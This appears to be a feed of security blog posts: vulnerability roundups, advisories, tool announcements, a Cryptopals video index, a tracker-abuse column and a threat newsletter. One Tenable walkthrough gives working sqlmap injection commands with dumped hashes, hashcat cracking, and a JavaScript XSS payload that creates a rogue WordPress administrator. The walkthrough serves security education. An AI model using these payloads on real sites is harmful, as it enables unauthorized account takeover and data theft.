Cisco Talos is preparing to release the first in a series of changes to our Web Categorization system, which is designed to simplify the verbiage we use. 

In mid-June, we're adding a new “Generative AI” category that will apply to certain websites. The “Content Category” appears whenever a user searches for a domain on the TalosIntelligence.com Reputation Center.  

Generative AI applies to any site “whose primary purpose is to use artificial intelligence models to generate output in the form of text, audio, video or images based on user-supplied prompts.” This does not include “technologies which tangentially use generative AI as part of their service.” 

We are also renaming “DOT & DOH” to “Encrypted DNS” to better reflect what this category includes.  

Prior to these updates, we recommend revisiting your acceptable use and security policies to see if these changes may affect your current operations. 

As we evolve to better understand data, threats, and user behavior, we will continue to improve our intelligence, providing you the ability to make more informed decisions to keep your network safe without becoming prohibitive to your users. Please stay tuned for additional planned changes to our Content Categories in the coming weeks and months. 

For detailed information on the current Content and Threat Categories, please visit the Intelligence and Threat Categories page. 

The Generative AI category will be available in a future release of Meraki, Secure Access and Umbrella.  

Cisco Talos’ Vulnerability Research team has helped to disclose and patch more than 20 vulnerabilities over the past three weeks, including two in the popular Adobe Acrobat Reader software.

Acrobat, one of the most popular PDF readers currently available, contains two out-of-bounds read vulnerabilities that could lead to the exposure of sensitive contents of arbitrary memory in the application.

There are also eight vulnerabilities in a popular line of PLC CPU modules commonly used in automated environments.

All the vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy.

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.

Out-of-bounds read vulnerabilities in Adobe Acrobat

Discovered by KPC.

Adobe Acrobat Reader contains two out-of-bounds read vulnerabilities in its Font feature that could lead to the disclosure of sensitive information.

TALOS-2024-1946 (CVE-2024-30311) and TALOS-2024-1952 (CVE-2024-30312) are triggered if the targeted user opens an attacker-created PDF that contains a specially embedded font.

An adversary could exploit these vulnerabilities to read arbitrary memory of the process that runs when Acrobat tries to process the font. It’s possible the adversary could even view sensitive components of arbitrary memory, which they could use in follow-on attacks or the exploitation of other vulnerabilities.

TALOS-2024-1952 is the same exploit as outlined in TALOS-2023-1905, a previously disclosed vulnerability, because Adobe’s initial patch did not properly protect against all possible attack vectors.

Privilege escalation vulnerability in Foxit PDF Reader

Discovered by KPC.

Foxit PDF Reader contains a privilege escalation vulnerability that could allow an adversary to execute commands with SYSTEM-level privileges. Foxit PDF Reader is one of the most popular alternatives to Acrobat Reader available. It also supports the embedding of JavaScript, which is another possible attack vector for adversaries.

TALOS-2024-1989 (CVE-2024-29072) occurs because of improper certification of the updater executable before executing it. A low-privilege user can trigger the update action, which can result in the unexpected elevation of privilege to the SYSTEM level.

Multiple vulnerabilities in popular image-processing library

Discovered by Carl Hurd and Philippe Laulheret.

Talos recently discovered multiple vulnerabilities in libigl, a C++ open-source library used to process geometric shapes and designs. It is commonly used in various industries, from video game development to 3-D printing.

Two out-of-bounds write vulnerabilities, TALOS-2023-1879 (CVE-2023-49600) and TALOS-2024-1930 (CVE-2024-22181), could lead to a heap buffer overflow. An attacker could exploit these vulnerabilities by tricking the targeted user into opening a specially crafted file.

TALOS-2024-1928 (CVE-2024-24584 and CVE-2024-24583) can be exploited in a similar manner, but in this case, leads to an out-of-bounds read.

Two other vulnerabilities, TALOS-2024-1929 (CVE-2024-24684, CVE-2024-24685 and CVE-2024-24686) and TALOS-2023-1784 (CVE-2023-35949, CVE-2023-35952, CVE-2023-35950, CVE-2023-35953, CVE-2023-35951), can cause heap-based buffer overflow issues if the adversary supplies a specially crafted .off file. .OFF files are commonly used to share 2-D and 3-D images.

Lastly, there is another out-of-bounds write vulnerability that is caused by an improper array index validation. TALOS-2024-1926 (CVE-2024-23951, CVE-2024-23950, CVE-2024-23949, CVE-2024-23947 and CVE-2024-23948) can be triggered by a specially crafted .msh file.

Remote Code Execution vulnerabilities and more in AutomationDirect CPU

Discovered by Matt Wiseman.

Several vulnerabilities were identified in the AutomationDirect P3 line of CPU modules. The P3-550E is the most recent CPU module released in the Productivity3000 line of Programmable Automation Controllers from AutomationDirect. The device communicates remotely via ethernet, serial and USB and exposes a variety of control services, including MQTT, Modbus, ENIP and the engineering workstation protocol DirectNET.

Four of the vulnerabilities found in these PLC CPU modules received a CVSS security score of 9.8 out of 10, making them particularly notable.

TALOS-2024-1942 (CVE-2024-21785) is a leftover debug code vulnerability that allow an adversary who can communicate to the device over ModbusRTU to enable the device’s diagnostic interface without any other knowledge of the target device. There is also TALOS-2024-1943 (CVE-2024-23601) which can lead to remote code execution if the attacker sends a specially crafted file to the targeted device and TALOS-2024-1939 (CVE-2024-24963 and CVE-2024-24962) which are stack-based buffer overflows that can also lead to remote code execution if the attacker sends a specially formatted packet to the device.

TALOS-2024-1940 (CVE-2024-22187) and TALOS-2024-1941 (CVE-2024-23315) are both Write-What-Where vulnerabilities that may be triggered if an adversary sends a specially crafted packet to the targeted machine. An adversary who submits a series of properly formatted requests to exploit this vulnerability could modify arbitrary memory regions on the device, potentially resulting in arbitrary remote code execution.

A heap-based buffer vulnerability, TALOS-2024-1936 (CVE-2024-24851), also exists if an adversary sends a specially crafted packet to the targeted device. In this case, the adversary could cause the device to crash due to memory access violations.

Similarly, TALOS-2024-1937 (CVE-2024-24947 and CVE-2024-24946) can also crash the device by exploiting two different functions on the device which are vulnerable to heap-based buffer overflows.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) also released an advisory covering these vulnerabilities, as the P3 line is commonly used in U.S. critical infrastructure and ICS networks. CISA provided users with a list of possible mitigations for these vulnerabilities and other steps administrators can take to protect ICS environments. The agency also stated that organizations in the commercial facilities, critical manufacturing and information technology sectors could be affected.

WordPress : From vulnerability identification to compromising

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

Although, as demonstrated by the recent CVE-2024–4439 vulnerability, WordPress is not flawless, it remains an extremely robust solution, and from an attacker’s point of view, it’s much easier to find another entry point to compromise a WordPress instance.

Luckily (or not) this other vector exists and it’s WordPress plugins. With nearly 60,000 free extensions available, any one of them can represent a possible gateway to a complete compromise of your instance.

Based on our day-to-day work at Tenable Research, we will illustrate this in this article through different steps/scenarios on a real WordPress instance.

1/ Identify available WordPress plugins

When a WordPress plugin is created, developers can rely on a number of standards. Among these standards is the “Readme.txt” file, which many plugins respect.

This file can be used by an attacker to identify whether or not a plugin is available. In the knowledge that this file is most of the time available at the URL “http://WORDPRESS/wp-content/plugins/[PLUGIN SLUG]/readme.txt” using a wordlist of plugin names, an attacker can perform bruteforce to identify available plugins.

We can see here that we have two plugins installed

• WPS Hide Login
• Paid Memberships Pro

If you take a closer look at the second one, you’ll see that it’s installed in version 2.9.7

Note : Sometimes the stable tag is empty but you can still look at the changelog section

A quick search reveals that this plugin is vulnerable to an unauthenticated SQL injection !

Now that we’ve identified the available plugins and that one of them is vulnerable, we’ll now look at how to compromise the WordPress instance.

2/ From SQL Injection to complete compromission

First, you need to understand the vulnerability in order to understand how to exploit it. Either by

• Downloading a vulnerable version, looking at the code and trying to reproduce the vulnerability
• Or a public exploit is already available

In our case, the vulnerability is detailed in this article and the command to exploit it via the SQLmap tool is provided.

With SQL Injection, among the available techniques, the most common consists of extracting the users and their password hash.

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_users -C user_login,user_pass
[...]
[14:59:53] [INFO] GET parameter 'code' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[...]
GET parameter 'code' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: code (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: rest_route=/pmpro/v1/order&code=a' AND (SELECT 1804 FROM (SELECT(SLEEP(5)))jJJd) AND 'MnNj'='MnNj
[...]
Database: wasvwa
Table: wp_users
[2 entries]
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| subscriber | $P$BQG8CvNGjGGbMmr5KxN8p3BnwdgMbf0 |
| admin      | $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1 |
+------------+------------------------------------+

Note : Users are usually stored in the ‘wp_users’ table, with ‘wp_’ being the basic prefix. If this is not the case, you can search for the table name/prefix by listing the columns with the following SQLmap command :

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL —-columns
[...]
[15:50:38] [INFO] retrieved: wp_pmpro_membership_ordermeta

Now that we have recovered the users and the hashes we need to find the password in clear text. We will not go into the details of this step here and simply use hashcat with a wordlist to recover the password in plain text.

The only important option to understand here is `-m 400` which translates as “hash mode 400”. The number 400 corresponds to the password hashing technique used by WordPress. In the background, WordPress uses the ‘wp_hash_password()’ function which uses the PHPass library and, in short, returns an MD5 hashed password with additional security mechanisms.

hashcat -m 400 -a 0 -o cracked.txt hash.txt wordlist.txt
[...]
cat cracked.txt
> $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1:password

To summarize, we identified the available plugins, one of them is in a version vulnerable to an unauthenticated SQL injection which we exploited to retrieve the list of available users with their hashes which we bruteforce to recover the clear password of the administrator !

The next step is therefore to authenticate, to do this, by default, the URL of the WordPress admin panel is available at the URL /wp-admin/

Except that in our case, we are redirected to a 404! If we return to the list of installed plugins, we remember that “WPS Hide Login” is installed.

WPS Hide Login is a very light plugin that lets you easily and safely change the url of the login form page to anything you want.

Once again, we will be able to use our SQL injection to find the real login URL. For this plugin, what we are looking for is stored in column ‘option_value’ of the table ‘wp_options’

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_options -C option_value --where "option_name='whl_page'"
[...]
Table: wp_options
[1 entry]
+--------------+
| option_value |
+--------------+
| hidden_login |
+--------------+

We can now access the login page and authenticate.

Once authenticated, to obtain an RCE, among the available techniques the two simplest are as follows :

• Upload a new malicious plugin to execute code
• Edit an existing file to insert malicious code

The second is the simplest because everything is already there by default, you just have to go to “Tools > Theme File Editor > Themes Functions” and insert a piece of PHP code allowing you to execute code.

Once saved, we can therefore execute arbitrary code on our WordPress instance

3/ From Cross-Site Scripting to complete compromission

Less direct than an SQLi, an XSS can also compromise a WordPress instance, and for this example we’ll take the WP RSS Aggregator version 4.23.8.

This plugin is vulnerable to a reflected XSS and therefore requires that the URL containing the payload be transmitted directly to the administrator.

The original request can be obtained by going to the plugin page and clicking on the “Dismiss this notification” button :

On the code side, in version below 4.23.9 of WP RSS Aggregator, this vulnerability is present due to the use of the `sprintf()` function, which is used to display the response to the user.

The notice_id value is inserted into the message without filtering allowing to insert arbitrary HTML code :

There are several XSS techniques that can be used to take control of an instance, the two most common being :

• Add a new administrator
• Modify page code directly to insert a webshell

The code below, for example, is used to create a new administrator :

requestURL = "/wp-admin/user-new.php";
nonceRegex = /ser" value="([^"]*?)"/g;

xhr = new XMLHttpRequest();
xhr.open("GET", requestURL, false);
xhr.send();

nonceMatch = nonceRegex.exec(xhr.responseText);
nonce = nonceMatch[1];
params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=password&pass2=password&role=administrator";

xhr = new XMLHttpRequest();
xhr.open("POST", requestURL, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(params);

Simply save the code to a file on a publicly accessible server, send the URL containing our payload (loading our remote script) and you’re done.

A new administrator is added :

As a side note, the plugin author has corrected the vulnerability by escaping the HTML code of Exceptions messages :

Which corrects the vulnerability :

This article shows how to identify available plugins, compromise an instance via SQL Injection while bypassing a defense mechanism that hides the login URL, and also how to create a new administrator via Cross-Site Scripting.

Obviously, this article is only an introduction and does not describe all possible cases or less likely/common scenarios, such as the possibility of creating an administrator via SQL Injection.

However, we understand that although WordPress is reputed to be robust, plugins are not necessarily so and can therefore allow your instance to be compromised. It is therefore essential to review the plugins you install, check that they are up to date and if possible enable automatic updates.

WordPress : From vulnerability identification to compromising was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') may allow Unauthenticated RCE
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

CWE-305 Missing Authentication for Critical Function
Missing Authentication for Critical Function may allow Authentication Bypass
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform

CWE-330 Use of Insufficiently Random Values may allow Authentication Bypass
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

CWE-20 Improper Input Validation:
Improper Input Validation may allow Denial of Service. Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

CWE-320: Key Management Errors:
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'):
Successful exploitation of these vulnerabilities could allow an attacker to execute unauthorized code on the platform.

This vulnerability allows network-adjacent attackers to access or spoof DDNS messages on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the cmxddnsd executable. The issue results from reliance on obscurity to secure network data. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root.

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the handling of DNS names. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a buffer. An attacker can leverage this vulnerability to execute code in the context of root.

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability. However, devices are vulnerable only if configured to use the Comexe DDNS service.

The specific flaw exists within the handling of DDNS error codes. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root.

“Why don’t you pick on projects […]

The post Multiple vulnerabilities in Eclipse ThreadX appeared first on hn security.

We are excited to announce the addition of a new provider in our open-source, multi-cloud auditing tool ScoutSuite (on GitHub)!

In April, we received a remarkable pull request from Asif Wani, Product Security Lead at DigitalOcean APAC, to integrate DigitalOcean services into ScoutSuite. After reviewing the request, NCC Group not only accepted his proposal, but also expanded it with new rules and services.

This new feature is currently included in the last version 5.14.0, adding DigitalOcean as a new cloud provider with twenty-eight new rules based in the hardening features provided by DigitalOcean.

The most significant changes are:

Core

• Added support for DigitalOcean

DigitalOcean

• Added new rules for managed databases
• Added new rules for droplets
• Added new rules for networking devices such as Load Balancers, Firewalls or DNS entries.
• Added new rules for Space Objects (buckets)
• Added new rules for managed Kubernetes clusters

Check out the Github page and the Wiki documentation for more information about ScoutSuite.

We would like to express our gratitude to all our contributors:

@asifwani

Let’s kick this off with some examples. Here’s a seamless loop illustrating CBC-mode encryption:

Here’s a clip showing a code block being rewritten to avoid leaking padding information in error messages:

Here’s an illustration of a block cipher operating in CTS mode:

You may be surprised to learn that each of these illustrations was generated from ≤30 lines of code (30, 9, and 23 lines, respectively), without any golfing. The exact code used can be seen in the Cranim example gallery, along with many other examples of what this toolkit can do.

But let’s take a step back. You may be familiar with the Cryptopals Guided Tour. These longform videos discuss various topics from cryptography, loosely following the path laid out by the cyptopals challenges, and starting with set 2 I began to bring in custom-made visual aids to support discussion as the concepts involved grew more abstract.

To create these visuals, the tool I reached for was Manim, a math visualization library best known for its use in 3Blue1Brown‘s videos (in fact, he is also Manim’s original author). But while this library is very powerful (seriously, check out their example gallery), it is biased towards math, not computer science. It lacks support for such basic tasks as visualizing (or rewriting) a buffer; drawing a wire diagram; modifying a code snippet; and so on. To adapt this library to my use case, I had to write an extensive plugin adding all this functionality and more. Today I am releasing this plugin, cranim, in the hope that it will be useful to other computer science educators. You can find installation and usage guidelines in the GitHub repo: https://github.com/nccgroup/manim-cranim

The default color scheme is optimized for accessibility; contrast between colors should be clear even to colorblind viewers. This color palette was originally published for use by data scientists in multicolor figures. The default background color, a warm and pleasant off-white, is similarly meant to promote legibility: studies have shown that dark text on light backgrounds scans faster and more accurately than the inverse. The precise tone of the background is intended to evoke a poorly-cleaned whiteboard, a familiar sight to any computer science student.

While the toolkit is oriented towards animations, Manim is equally capable of producing static images such as the illustration of CTS mode above; in cases where vector graphics are preferred, Manim can both consume and produce SVG files. The subset of Manim used by Cranim exclusively uses vector representations internally, making it a good fit for this use case.

Cranim is still under active development (as is the Guided Tour), so I have not yet written API docs; they will come as the API stabilizes. However, I keep the Example Gallery up to date, so you can turn to it for simple examples of idiomatic usage. If you’re interested in a less trivial example, the full source code for the animations used in the 17th Guided Tour video can be found in this gist (though note that parts of it are hacky, as it was written quickly and has not been reviewed or edited; in this sense it closely models the sort of code the average Cranim user might write).

If you make something with Cranim, please feel free to send it my way! I’m curious to see what uses people find for this tool, and I’m happy to take feature requests (or bug reports) on GitHub as well.

Hello and welcome back to the Cryptopals Guided Tour (previously, previously)! Today we are taking on Challenge 17, the famous padding oracle attack.

For those who don’t know, Cryptopals is a series of eight sets of challenges covering common cryptographic constructs and common attacks on them. You can read more about Cryptopals at https://cryptopals.com/.

There’s a lot of practical knowledge wrapped up in these challenges, and working through them is an excellent way for programmers to learn more about cryptography – or for cryptographers to learn more about programming. We strongly encourage you to give them a try and to see how far you can get on your own.

The Guided Tour is here for you to check your work after completing a challenge, or to see how else you might’ve solved it – or for when you get stuck, can’t get yourself unstuck, and are looking for a nudge in the right direction. We strongly encourage you to try “learning by doing” before watching the videos. You’ll get more out of them that way!

These problems are complex, and if you take the shortest path to the solution, you’re sure to miss a lot of the sights along the way. It can be hard to know what you’re missing or where to look for it; that’s where these videos come in. From the start, we’ve prioritized detailed discussion; for set 2, we augmented these discussions with detailed animations showing exactly what’s going on under the hood for each attack; for set 3, we’re maintaining these high production values, integrating more research, and open-sourcing the tool used to generate these animations: cranim, a powerful toolkit for cryptographic (and generic computer science) animations with an emphasis on visualizing buffers and data flows. Cranim was developed to support the Guided Tour but is built with flexibility in mind; I hope that other educators will find it useful.

We’re also accelerating the release schedule, favoring individual video releases over dropping an entire set at once. When videos take this long to make, it only makes sense to release them as soon as they’re ready.

If you’re just joining the Guided Tour, here’s a playlist of the full series so far. Each video comes with a timestamped index of content so you can skip around as desired. Check the video descriptions, too; most of them also contain lists of links for further reading.

And now, at long last, here is the next installment of the Cryptopals Guided Tour. We hope you find this helpful and educational, and we look forward to bringing the next videos to you as soon as they’re ready.

Set 3, Challenge 17: The CBC padding oracle

Direct video link: https://youtu.be/6yHM19rQjDo

Challenge link: https://cryptopals.com/sets/3/challenges/17

00:00 – Intro
00:53 – Big-picture view
01:47 – Padding oracles in the wild
02:33 – What happens if we provide an invalid token?
03:33 – Ruining a developer’s night
05:53 – Let’s take a look at the attack
06:48 – Single block case
09:02 – Confirming padding has length 1
09:28 – XOR algebra, and the full search
10:57 – Multi-block case
11:53 – How can you prevent this attack?
13:20 – Timing side-channels
16:57 – Bolting a MAC onto it
17:45 – Note on deniability
18:10 – MACing ciphertext vs MACing plaintext
19:55 – Recapping layers of defense
20:13 – Breaking each layer of defense
21:03 – As our side channel gets less reliable, how does the attack change?
22:28 – Tracking confidences
24:00 – False negatives and false positives
25:12 – Bayes’ Theorem
26:42 – Entropy
27:25 – Adding chart for expected informtion gained
28:14 – Heuristics
31:15 – Getting into trouble with MACs
33:00 – Time to write some code!
35:44 – Obligatory CSPRNG disclaimer
36:50 – Sketching out the script’s functions
39:30 – Implementing the multi-block case
40:43 – Implementing the easy functions
42:18 – Implementing the single-block case
49:10 – Testing the solution
49:49 – “I could just call it done here, but…”
51:40 – Reading the plaintext
52:27 – Implementing the noisy oracle case and signing off

Further reading:

https://redis.io/blog/json-web-tokens-jwt-are-dangerous-for-user-sessions/
https://portswigger.net/web-security/jwt
https://portswigger.net/web-security/jwt/algorithm-confusion
https://fly.io/blog/api-tokens-a-tedious-survey/
https://securitycryptographywhatever.buzzsprout.com/1822302/9020991-what-do-we-do-about-jwt-feat-jonathan-rudenberg
(all of the above are just on JWTs, per the note at 02:33)
https://youtu.be/sthXs4zJ5XU?t=5498
https://iacr.org/submit/files/slides/2023/rwc/rwc2023/72/slides.pdf
https://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac
https://en.wikipedia.org/wiki/HMAC
https://en.wikipedia.org/wiki/CBC-MAC
https://en.wikipedia.org/wiki/Off-the-record_messaging
https://en.wikipedia.org/wiki/Acoustic_cryptanalysis
https://en.wikipedia.org/wiki/Power_analysis
https://en.wikipedia.org/wiki/Van_Eck_phreaking
https://crypto.stackexchange.com/questions/75371/how-are-side-channel-attacks-executed-what-does-an-attacker-need-to-execute-a-s
https://www.usenix.org/conference/usenixsecurity20/presentation/van-goethem
https://eprint.iacr.org/2023/1441 (“We were able to detect side channels of single-digit CPU cycles over regular gigabit Ethernet.”)
https://www.youtube.com/watch?v=HZGCoVF3YvM
https://research.nccgroup.com/2021/02/17/cryptopals-exploiting-cbc-padding-oracles/
https://research.nccgroup.com/2023/06/23/exploiting-noisy-oracles-with-bayesian-inference/
https://en.wikipedia.org/wiki/Information_theory#Entropy_of_an_information_source

Thank you!

Before wrapping up this post, I’d like to take a moment to thank Gerald Doussot and Javed Samuel for their continued patience, encouragement, and support with this very large undertaking. I’d also like to thank my teammates in Cryptography Services for their thoughtful and attentive review, particularly Marie-Sarah Lacharite, Thomas Pornin, and Elena Bakos Lang, whose feedback has measurably improved this video (though of course I take full responsibility if any mistakes are found in it). On the logistical side of things, Ristin Rivera has also been invaluable throughout the publication process for this entire series.

I would also like to take a moment to thank the developers of Manim, without which these videos would not be possible in their current form. (By the way, if you want to make videos like these, my Manim plugin Cranim – which I developed to support this series – has now been publicly released!)

Finally, once again I’d like to thank the authors of the Cryptopals challenges. I’ve spent a lot of time with their work and I appreciate the effort they’ve put into it.

Since the advent of products like the Tile and Apple AirTag, both used to keep track of easily lost items like wallets, keys and purses, bad actors and criminals have found ways to abuse them. 

These adversaries can range from criminals just looking to do something illegal for a range of reasons, but maybe just looking to steal a physical object, to just a jealous or suspicious spouse or partner who wants to keep tags on their significant other. 

Apple and other manufacturers who make these devices have since taken several steps to curb the abuse of these devices and make them more secure. Most recently, Google and Apple announced new alerts that would hit Android and iOS devices and alert users that their devices’ location is being connected to any location-tracking device.  

“With this new capability, users will now get an ‘[Item] Found Moving With You’ alert on their device if an unknown Bluetooth tracking device is seen moving with them over time, regardless of the platform the device is paired with,” Apple stated in its announcement. 

Companies Motorola, Jio and Eufy also announced that they would be adhering to these new standards and should release compliant products soon.  

Certainly, products like the AirTag and Samsung trackers that these companies have direct control over will now be more secure, and hopefully less ripe for abuse by a bad actor, but it’s far from a total solution to the problem that these types of products pose. 

As I’ve pointed out in the past with security cameras and any other range of internet-connected devices, online stores are filled with these types of products, promising to track users’ personal items with an app so they don’t lose common household items like their phones, wallets and keys.  

Amazon has countless listings under “location tag” for a range of AirTag-like products made by unknown manufacturers. Some of these products are slim enough to fit right into the credit card pocket of a wallet or purse,  and others are smaller than the average AirTag and even advertise that they can remain hidden inside a car.  

I admittedly haven’t been able to dive into these individual devices, but some of them come with their own third-party apps, which come with their own set of security caveats and completely take it out of platform developers’ hands.  

There are also other “find my device”-type services that pose additional security concerns outside of just buying a small tag. Android’s new, enhanced “Find My Device” network is a crowdsourced solution to help users potentially find their lost devices, similar to iOS’ Find My network.  

The Find My Device network works by using other Android devices to silently relay the registered device’s approximate location, even if the device being searched for is offline or turned off. In the wrong hands, there are a range of ways that can be abused on its own.  

So, rather than relying on developers and manufacturers to make these services more secure, I have a few tips for how to use AirTag-like devices safely, if you really can’t come up with a better solution for not losing your keys. 

• Check for suspicious tracking devices. On iOS, this means opening the “Find My” app and navigating to Items > Items Detected Near You. Any unfamiliar AirTags will be listed here. On Android, you can do the same thing by going to Settings > Safety & Emergency > Unknown Tracker Alerts > Scan Now. 
• Remove yourself from any “Sharing Groups” unless it’s a trusted contact in your phone using the Find My app on iOS. 
• If location tracking is your primary concern (especially for parents and their children) using the Find My app on iOS and Android is generally a more secure option than trusting a third-party app downloaded from the app store or relying on a Bluetooth connection.  
• Manage individual apps’ settings to ensure only the services that *really* need to track your device’s physical location are using it. (Ex., you probably don’t need Facebook tracking that information.) 
• Since AirTags are connected to your Apple ID, ensure that login is secured with multi-factor authentication (MFA) or using a passkey.  

The one big thing 

Cisco recently developed and released a new feature to detect brand impersonation in emails when adversaries pretend to be a legitimate corporation. Threat actors employ a variety of techniques to embed brand logos within emails. One simple method involves inserting words associated with the brand into the HTML source of the email. New data from Talos found that popular brands like PayPal, Microsoft, NortonLifeLock and McAfee are among some of the most-impersonated brands in these types of phishing emails.  

Why do I care? 

Brand impersonation could happen on many online platforms, including social media, websites, emails and mobile applications. This type of threat exploits the familiarity and legitimacy of popular brand logos to solicit sensitive information from victims. In the context of email security, brand impersonation is commonly observed in phishing emails. Threat actors want to deceive their victims into giving up their credentials or other sensitive information by abusing the popularity of well-known brands. 

So now what? 

Well-known brands can protect themselves from this type of threat through asset protection as well. Domain names can be registered with various extensions to thwart threat actors attempting to use similar domains for malicious purposes. The other crucial step brands can take is to conceal their information from WHOIS records via privacy protection. And users who want to learn more about Cisco Secure Email Threat Defense's new brand impersonation detection tools can visit this site. 

Top security headlines of the week 

Adversaries have been quietly exploiting the backbone of cellular communications to track Americans’ location for years, according to a U.S. Cybersecurity and Infrastructure Security Agency (CISA). The official broke ranks with their agency and reportedly shared this information with the Federal Communications Commission (FCC). The official said that attackers have used vulnerabilities in the SS7 protocol to steal location data, monitor voice and text messages, and deliver spyware. Other targets have received text messages containing fake news or disinformation. SS7 is the protocol used across the globe that routes text messages and calls to different devices but has often been a target for attackers. In the past, other vulnerabilities in SS7 have been used to gain access to telecommunications providers’ networks. In their written comments to the FCC, the official said that these vulnerabilities are the “tip of the proverbial iceberg” of SS7-related exploits used against U.S. citizens. (404 Media, The Economist) 

The FBI once again seized the main site belonging to BreachForums, a popular platform for buying and selling stolen personal information. Last year, international law enforcement agencies took down a previous version of the cybercrime site and arrested its administrator, but the new pages quickly emerged, using three different domains since the last disruption. American law enforcement agencies also took control of the forum’s official Telegram account, and a channel belonging to the newest BreachForums administrator, “Baphomet.” However, the FBI has yet to publicly state anything about the takedown or any potential arrests. BreachForums isn’t expected to be gone for long, as another admin named “ShinyHunters” claims the site will be back with a new Onion domain soon. ShinyHunters claims they’ve retried access to the seized clearnet domain for BreachForums, though they did not provide specific methods. BreachForums is infamous for being a site where attackers can buy and sell stolen data, offer their hacking services or share recent TTPs. (TechCruch, HackRead) 

The U.S. Department of Justice charged three North Koreans with crimes related to impersonating others to obtain remote employment in the U.S., which in turn generated funding for North Korea’s military. The three men, and another U.S. citizen, were charged with what the DOJ called “staggering fraud” in which they secured illicit work with several U.S. companies and government agencies using fraudulent identities from 60 real Americans. The U.S. citizen was allegedly placed laptops belonging to U.S. companies at various residences so the North Koreans could hide their true location. North Korean state-sponsored actors have used these types of tactics for years, often relying on social media networks like LinkedIn to fake their personal information and obtain jobs or steal sensitive information from companies. More than 300 companies may have been affected, with the perpetrators earning more than $6.8 million, most of which was used to “raise revenue for the North Korean government and its illicit nuclear program,” according to the DOJ. (ABC News, Bloomberg) 

Can’t get enough Talos? 

• Proactive Threat Hunting in Duo Data 
• Talos Takes Ep. #184: Recapping RSA  
• You have to look out for these hacks in 2024! 

Upcoming events where you can find Talos 

ISC2 SECURE Europe (May 29) 

Amsterdam, Netherlands 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent.  

Cisco Live (June 2 - 6) 

Las Vegas, Nevada 

Bill Largent from Talos' Strategic Communications team will be giving our annual "State of Cybersecurity" talk at Cisco Live on Tuesday, June 4 at 11 a.m. Pacific time. Jaeson Schultz from Talos Outreach will have a talk of his own on Thursday, June 6 at 8:30 a.m. Pacific, and there will be several Talos IR-specific lightning talks at the Cisco Secure booth throughout the conference.

AREA41 (June 6 – 7) 

Zurich, Switzerland 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will highlight the primordial importance of actionable incident response documentation for the overall response readiness of an organization. During this talk, she will share commonly observed mistakes when writing IR documentation and ways to avoid them. She will draw on her experiences as a responder who works with customers during proactive activities and actual cybersecurity breaches. 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202 
MD5: e4acf0e303e9f1371f029e013f902262 
Typical Filename: FileZilla_3.67.0_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.Application.27hg.1201 

SHA 256: a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0 
MD5: b4440eea7367c3fb04a89225df4022a6 
Typical Filename: Pdfixers.exe 
Claimed Product: Pdfixers 
Detection Name: W32.Superfluss:PUPgenPUP.27gq.1201 

SHA 256: 1fa0222e5ae2b891fa9c2dad1f63a9b26901d825dc6d6b9dcc6258a985f4f9ab 
MD5: 4c648967aeac81b18b53a3cb357120f4 
Typical Filename: yypnexwqivdpvdeakbmmd.exe 
Claimed Product: N/A  
Detection Name: Win.Dropper.Scar::1201 

